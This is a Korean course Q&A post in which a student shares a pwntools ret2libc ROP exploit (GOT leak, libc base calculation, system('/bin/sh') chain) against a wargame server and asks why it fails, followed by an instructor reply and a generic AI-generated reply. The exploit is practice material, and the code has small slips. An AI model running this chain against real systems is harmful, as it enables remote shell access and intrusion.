강의

멘토링

커뮤니티

인프런 커뮤니티 질문&답변

제갈융님의 프로필 이미지
제갈융

작성한 질문수

해킹 입문부터 중급까지, 한 번에 배우는 시스템 해킹 & 리버싱

ROP Exploit Scenario

rop64 뭐가 잘못 됐을까요..?

작성

·

16

0

from pwn import *

context.log_level = 'debug'

p = remote("war.knock-on.org", 45240)
e = ELF("./rop64")
libc = ELF("./libc.so.6")
rdi = 0x0000000000401176 

payload = b'a' * 0x28
payload += p64(rdi)
payload += p64(e.got['read'])
payload += p64(e.plt['puts'])
payload += p64(e.symbols['main'])

p.sendafter("name?\n", payload)

read_got = u64(p.recvline().strip(b'\n')+b'\x00\x00')
libc_base = read_got - libc.symbols['read']

print(f"read_got: {hex(read_got)}")
print(f"libc_base: {hex(read_got)}")


binsh = libc_base + 0x1d8678
system_got = libc_base + libc.symbols['system']

ret = 0x000000000040101a  

payload = b'a' * 0x28

payload += p64(rdi)
payload += p64(binsh)
payload += p64(ret)     
payload += p64(system_got)

pause()

p.sendafter("name?\n", payload)

p.interactive()

답변 2

0

knockOn님의 프로필 이미지
knockOn
지식공유자

안녕하세요! 익스코드만을 통해서는 자세한 문제를 확인하기가 어려운 듯 하네요

강의 영상에서 진행한 방식과 같이 각 단계에서 디버깅을 해보며 어느 부분에서 문제가 발생했는지 확인해보는게 좋을 것 같습니다 ㅎㅎ

Libc base주소가 잘 leak이 되었는지, binsh문자열의 오프셋이 정확한지 등을 확인해보는게 좋을 것 같습니다!

0

안녕하세요, 인프런 AI 인턴입니다. 제갈융님.

ROP(리턴 지향 프로그래밍) 익스플로잇 스크립트를 작성하셨군요. 이 스크립트의 주요 목적은 점프를 통해 system('/bin/sh')를 호출하여 쉘을 오픈하는 것입니다. 작성하신 코드에서 주목해야 할 부분과 몇 가지 검토사항을 안내드리겠습니다.

  1. Gadget 주소와 오프셋: ROP 공격에서는 필요한 모든 가젯 주소가 올바르게 식별되고 호출될 필요가 있습니다. 특히 rdi 레지스터의 가젯 주소가 정확하게 설정되었는지 확인하세요. rdi, ret와 같은 가젯이 현재 바이너리 파일에 올바르게 존재하는지 다시 확인해 보세요.

  2. libc 버전에 대한 추측이 정확한지 확인: libc_base를 계산할 때 사용하는 read_gotlibc.symbols['read']는 사용 중인 환경의 리눅스 배포판 및 버전에 따라 다르게 작동할 수 있습니다. 실행 중인 libc 파일이 정확하게 해당 서버의 libc와 일치하는지 꼭 확인해야 합니다.

  3. 페이로드 전달 및 응답 구문: p.recvline().strip(b'\n')를 통해 read_got 주소를 가져오는데, 정확하게 8바이트 주소로 변환되는지 다시 확인하고, 추가로 b'\x00\x00'을 더할 때 예상하는 바이트 수를 넘지 않는지 확인해 주세요.

  4. 메모리 정렬 및 아키텍처: 시스템의 아키텍처에 따라 주소가 정렬되어야 하므로, u64()를 사용하여 적절한 바이트 정렬을 유지하세요. 64비트 리틀 엔디안에 대한 확신을 가지고 코드를 작성해야 합니다.

위와 같은 점들을 다시 한번 검토해 보시길 권장합니다. 추가로, 아래의 유사한 게시물들을 참조하여 보완 방법에 대한 인사이트를 얻으실 수 있습니다:

저는 질문자님의 이해를 돕고자 지식공유자님의 기존 답변을 참고하여 유사한 답변 링크를 추천해드리고 있습니다.

현재 베타 기능으로 답변이 만족스럽지 않을 수 있는 점 양해 부탁드립니다. 🙏

추가적으로 궁금한 점이 있으시면, 이어서 질문해 주세요. 곧 지식공유자께서 답변해 주실 것입니다.

제갈융님의 프로필 이미지
제갈융

작성한 질문수

질문하기